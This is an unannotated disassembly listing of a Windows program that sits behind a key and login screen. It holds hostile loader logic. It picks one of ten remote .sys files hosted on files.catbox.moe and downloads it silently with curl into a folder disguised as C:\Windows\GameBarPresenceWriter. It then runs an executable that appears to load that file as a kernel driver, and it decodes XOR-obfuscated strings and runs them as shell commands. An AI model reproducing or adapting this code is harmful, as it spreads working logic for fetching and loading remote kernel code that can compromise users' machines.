cmp eax, 0xa
jne 0x1402158c5
cmp byte [0x14045565b], 0
jne 0x140215d75
mov dword [rbp + 0x168], 0x3f800000
mov dword [rbp + 0xf0], 0
movss xmm0, dword [0x140455fa8]
mov rax, qword [0x140455660]
addss xmm0, dword [rax + 0x18]
movss dword [rbp + 0x128], xmm0
lea rcx, [rbp + 0xf0]
lea rax, [rbp + 0x128]
comiss xmm12, xmm0
cmovbe rcx, rax
lea rax, [rbp + 0x168]
movss xmm7, dword [0x14036ea24]
comiss xmm0, xmm7
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140455fa8], xmm0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x148], xmm1
mov qword [rbp + 0x158], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
movdqu xmmword [rbp + 0x200], xmm1
mov ecx, Ordinal_50
call fcn.1402f77c0
mov rdx, rax
mov qword [rbp + 0x1f0], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_35]
movdqu xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [str.https:__files.catbox.moe_bl4fvf.sys]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14036d5c8]
movups xmmword [rax + 0x10], xmm0
movzx ecx, word [0x14036d5d8]
mov word [rax + 0x20], cx
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
mov ecx, Ordinal_50
call fcn.1402f77c0
mov qword [rbp + 0x210], rax
movdqa xmm0, xmmword [0x14036ed20]
movdqu xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [str.https:__files.catbox.moe_bl4fvf2.sys]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14036d5f0]
movups xmmword [rax + 0x10], xmm0
mov ecx, dword [0x14036d600]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
mov ecx, Ordinal_50
call fcn.1402f77c0
mov qword [rbp + 0x230], rax
movdqa xmm0, xmmword [0x14036ed20]
movdqu xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [str.https:__files.catbox.moe_bl4fvf3.sys]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14036d618]
movups xmmword [rax + 0x10], xmm0
mov ecx, dword [0x14036d628]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
mov ecx, Ordinal_50
call fcn.1402f77c0
mov qword [rbp + 0x250], rax
movdqa xmm0, xmmword [0x14036ed20]
movdqu xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [str.https:__files.catbox.moe_bl4fvf4.sys]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14036d640]
movups xmmword [rax + 0x10], xmm0
mov ecx, dword [0x14036d650]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x280], xmm1
mov ecx, Ordinal_50
call fcn.1402f77c0
mov qword [rbp + 0x270], rax
movdqa xmm0, xmmword [0x14036ed20]
movdqu xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [str.https:__files.catbox.moe_bl4fvf5.sys]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14036d668]
movups xmmword [rax + 0x10], xmm0
mov ecx, dword [0x14036d678]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], 0
lea rdx, str.https:__files.catbox.moe_bl4fvf6.sys
lea rcx, [rbp + 0x290]
call fcn.140201530
nop
lea rdx, str.https:__files.catbox.moe_bl4fvf7.sys
lea rcx, [rbp + 0x2b0]
call fcn.140201530
nop
lea rdx, str.https:__files.catbox.moe_bl4fvf8.sys
lea rcx, [rbp + 0x2d0]
call fcn.140201530
nop
lea rdx, str.https:__files.catbox.moe_bl4fvf9.sys
lea rcx, [rbp + 0x2f0]
call fcn.140201530
nop
lea rdx, str.https:__files.catbox.moe_bl4fvf10.sys
lea rcx, [rbp + 0x310]
call fcn.140201530
nop
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x100], rax
lea rax, [rbp + 0x330]
mov qword [rbp + 0x108], rax
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x148]
call fcn.140201330
nop
lea r9, [fcn.1402014d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 0xa
lea rcx, [rbp + 0x1f0]
call fcn.1402f77fc
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x440]
call fcn.140201470
mov dword [rbp + 0xf0], esi
mov rax, qword [rbp + 0x150]
sub rax, qword [rbp + 0x148]
sar rax, 5
dec eax
mov dword [rbp + 0xf4], eax
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0xf0]
call fcn.140201860
movsxd rdx, eax
shl rdx, 5
add rdx, qword [rbp + 0x148]
lea rcx, [rbp + 0x188]
call fcn.140201650
nop
lea r8, [rbp + 0x188]
lea rdx, str.curl___silent
lea rcx, [rbp + 0x1c8]
call fcn.14021c330
nop
lea r8, str.___output_C:WindowsGameBarPresenceWriterkernel.sys__nul
mov rdx, rax
lea rcx, [rbp + 0x1a8]
call fcn.14021c2c0
nop
lea rcx, [rbp + 0x1c8]
call fcn.1402014d0
lea rcx, [rbp + 0x1a8]
call fcn.1402014c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsGameBarPresenceWriter_vv1xkn.exe_C:WindowsGameBarPresenceWriterkernel.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14045565b], 1
lea rcx, [rbp + 0x1a8]
call fcn.1402014d0
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x1402158b1
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1402158ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1402158ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402f7b14
nop
lea rcx, [rbp + 0x148]
call fcn.140201770
mov eax, dword [0x140456050]
jmp 0x1402158cd
movss xmm7, dword [0x14036ea24]
cmp eax, 7
jne 0x140215442
cmp byte [0x14045565d], 0
jne 0x140215d75
movups xmm0, xmmword [0x1403689c0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1403689d0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1403689e0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1403689f0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140368a00]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140368a10]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x140368a20]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [str.D__G_4]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140368a2c]
mov word [rbp - 0x44], ax
mov ecx, esi
cmp r12d, 2
jl 0x140215a5e
movdqa xmmword [rbp + 0xf0], xmm13
lea rdx, [rsp + 0x54]
mov r8d, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x68
jl 0x140215970
cmp ecx, 0x6e
jge 0x140215a9c
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x6e
jl 0x140215a70
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0x190], rsi
mov ecx, Ordinal_50
call fcn.1402f77c0
mov rcx, rax
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_45]
movdqu xmmword [rbp + 0x198], xmm0
movups xmm0, xmmword [str.C:WindowsGameBarPresenceWritercheckker.bat]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14036d808]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14036d818]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x14036d820]
mov dword [rcx + 0x28], eax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rcx + 0x2c], al
mov byte [rcx + 0x2d], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xf0]
call fcn.1401fe720
movabs rcx, 0x7fffffff88ca6bff
mov rax, qword [rbp + 0xf0]
cmp rax, rcx
je 0x140215b49
mov ecx, 0xff
cmovl r14d, ecx
test r14b, r14b
jns 0x140215b49
add rax, 0x77359400
jmp 0x140215b53
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.140201d50
movups xmm0, xmmword [0x140369748]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140369758]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140369768]
movups xmmword [rsp + 0x70], xmm0
movzx eax, word [0x140369778]
mov word [rbp - 0x80], ax
cmp r12d, 2
jl 0x140215cac
movdqa xmmword [rbp + 0xf0], xmm13
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x30
jl 0x140215bc0
cmp esi, 0x32
jge 0x140215ced
movsxd rax, esi
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x32
jl 0x140215cc0
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14045565d], 1
movss xmm0, dword [0x140457498]
cvtps2pd xmm0, xmm0
addsd xmm0, xmm6
cvtpd2ps xmm0, xmm0
movss dword [0x140457498], xmm0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x140215d5e
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140215d59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140215d59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402f7b14
movdqa xmm0, xmmword [0x14036ebe0]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
lea r14, [0x14045565f]
movss xmm15, dword [0x14036ea70]
movss xmm14, dword [0x14036eb1c]
movss xmm10, dword [0x14036eacc]
movss xmm7, dword [0x14036ea24]
cmp dword [0x140455ff8], 3
jne 0x14021610a
mov dword [rbp + 0x168], 0x3f800000
mov dword [rbp + 0xf0], 0
movss xmm0, dword [0x140455fa8]
mov rax, qword [0x140455660]
addss xmm0, dword [rax + 0x18]
movss dword [rbp + 0x128], xmm0
lea rcx, [rbp + 0xf0]
lea rax, [rbp + 0x128]
xorps xmm1, xmm1
comiss xmm1, xmm0
cmovbe rcx, rax
lea rax, [rbp + 0x168]
comiss xmm0, xmm7
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x140455fa8], xmm0
mov rcx, qword [0x140456038]
call fcn.1401db9e0
mov dword [rbp + 0xf0], 0x43700000
mov dword [rbp + 0xf4], 0x430c0000
mov rax, qword [0x140455660]
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
mov dword [rbp + 0x130], 0x3f800000
movss xmm6, dword [rax + 0x37f0]
movss dword [rbp + 0x134], xmm6
lea rcx, [rbp + 0x128]
call fcn.1401cf8d0
mov r8d, eax
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
mov dword [rbp + 0x130], 0x3f800000
movss dword [rbp + 0x134], xmm6
lea rcx, [rbp + 0x128]
call fcn.1401cf8d0
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm10
mov edx, eax
lea rcx, str.PERM
call fcn.1401f84f0
mov rcx, qword [0x140456038]
call fcn.1401db9e0
mov dword [rbp + 0xf0], 0x439d8000
mov dword [rbp + 0xf4], 0x430c0000
mov rax, qword [0x140455660]
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
mov dword [rbp + 0x130], 0x3f800000
movss xmm6, dword [rax + 0x37f0]
movss dword [rbp + 0x134], xmm6
lea rcx, [rbp + 0x128]
call fcn.1401cf8d0
mov r8d, eax
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
mov dword [rbp + 0x130], 0x3f800000
movss dword [rbp + 0x134], xmm6
lea rcx, [rbp + 0x128]
call fcn.1401cf8d0
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm10
mov edx, eax
lea rcx, str.LOGIN
call fcn.1401f84f0
movss xmm6, dword [0x14036eb18]
movss dword [rsp + 0x28], xmm6
movss xmm0, dword [0x14036eb00]
movss dword [rsp + 0x20], xmm0
movss xmm8, dword [0x14036eaf8]
movaps xmm3, xmm8
call fcn.140203be0
movss xmm0, dword [0x14036eabc]
movss dword [rsp + 0x30], xmm0
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm14
lea r8, str.Save_Key
lea rdx, str.Save_Login
call fcn.1402031e0
movss xmm1, dword [0x14036eaac]
movss dword [rsp + 0x30], xmm1
movss dword [rsp + 0x28], xmm6
movss xmm0, dword [0x14036eb20]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm8
lea r8, str.Sign_in
lea rdx, str.Login
call fcn.1402020a0
test al, al
je 0x14021610a
lea rdx, [0x1404574a0]
lea rcx, [rbp + 0x1c8]
call fcn.140201530
mov rdx, rax
lea rcx, [0x140455c70]
call fcn.1402a1970
movzx edx, byte [0x140455ea0]
movzx eax, dl
neg al
sbb ecx, ecx
add ecx, 3
mov dword [0x140455ff8], ecx
mov dword [0x140455fa8], 0
test dl, dl
je 0x14021610a
cmp byte [0x14045565f], 0
je 0x1402160f6
lea rcx, [rbp + 0x1f0]
call fcn.140216440
lea rcx, [rbp + 0x1f0]
call fcn.140216450
nop
xor edx, edx
lea rcx, [rbp + 0x100]
call fcn.140218cb0
nop
lea rax, [rbp + 0x128]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x128]
call fcn.14021c8a0
mov rbx, rax
lea rcx, [rbp + 0x100]
call fcn.14021c870
mov rcx, rax
mov rdx, rbx
call fcn.1402174e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x1f0]
call fcn.1402171d0
nop
lea rcx, [rbp + 0x100]
call fcn.1402174c0
nop
lea rcx, [rbp + 0x1f0]
call fcn.1402163d0
mov dword [0x140455ff8], 2
mov dword [0x140455fa8], 0
mov r8, qword [0x140455660]
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rcx, qword [r8 + 0x3ef0]
mov rax, qword [rcx + 0x298]
mov ebx, dword [rax + 0x20]
mov byte [rcx + 0xb8], 1
mov qword [rbp + 0x168], 0
mov dword [rbp + 0x170], 0x3f800000
movss xmm0, dword [r8 + 0x37f0]
movss dword [rbp + 0x174], xmm0
mov dword [rbp + 0xf0], 0x441c0000
mov dword [rbp + 0xf4], 0x43d40000
mov dword [rbp + 0x128], 0x3f800000
mov dword [rbp + 0x12c], 0x3f800000
lea rcx, [rbp + 0x168]
call fcn.1401cf8d0
mov r9d, eax
mov rcx, qword [r8 + 0x3ef0]
movss xmm0, dword [0x14036ea50]
movss dword [rsp + 0x30], xmm0
movss dword [rsp + 0x20], xmm15
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x128]
mov rcx, qword [rcx + 0x298]
call fcn.1401ea610
movdqa xmm0, xmmword [0x14036eee0]
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0xf0], 0
mov dword [rbp + 0xf8], 0x3f800000
mov r10, qword [0x140455660]
movss xmm0, dword [r10 + 0x37f0]
movss dword [rbp + 0xfc], xmm0
movss xmm6, dword [0x14036eae8]
mov rax, qword [r10 + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rcx, qword [r10 + 0x3ef0]
mov rax, qword [rcx + 0x298]
mov r8d, dword [rax + 0x20]
mov byte [rcx + 0xb8], 1
lea rcx, [rbp + 0x100]
call fcn.1401cf8d0
mov r9d, eax
lea rcx, [rbp + 0xf0]
call fcn.1401cf8d0
mov rcx, qword [r10 + 0x3ef0]
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x28], eax
movss xmm0, dword [0x14036eaec]
unpcklps xmm0, xmm6
movsd qword [rsp + 0x20], xmm0
movaps xmm1, xmm7
unpcklps xmm1, xmm7
movq r9, xmm1
mov edx, ebx
mov rcx, qword [rcx + 0x298]
call fcn.1401ec8a0
call fcn.1401db410
mov rcx, qword [rbp + 0x17d0]
xor rcx, rsp
call fcn.1402f73e0
lea r11, [rsp + 0x1980]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401fe700
nop
call fcn.1401ce760
nop
mov rcx, rax
call fcn.1402216d0
mov qword [rbp + 0xf0], rax
lea r8, [rbp + 0xf0]
lea rcx, [rbp + 0x1a8]
call fcn.140227d40
nop
mov r8, rax
lea rcx, [rsp + 0x50]
call fcn.140227e00
lea rdx, [0x1403870c0]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1401fe700
nop
call fcn.1401ce760
int3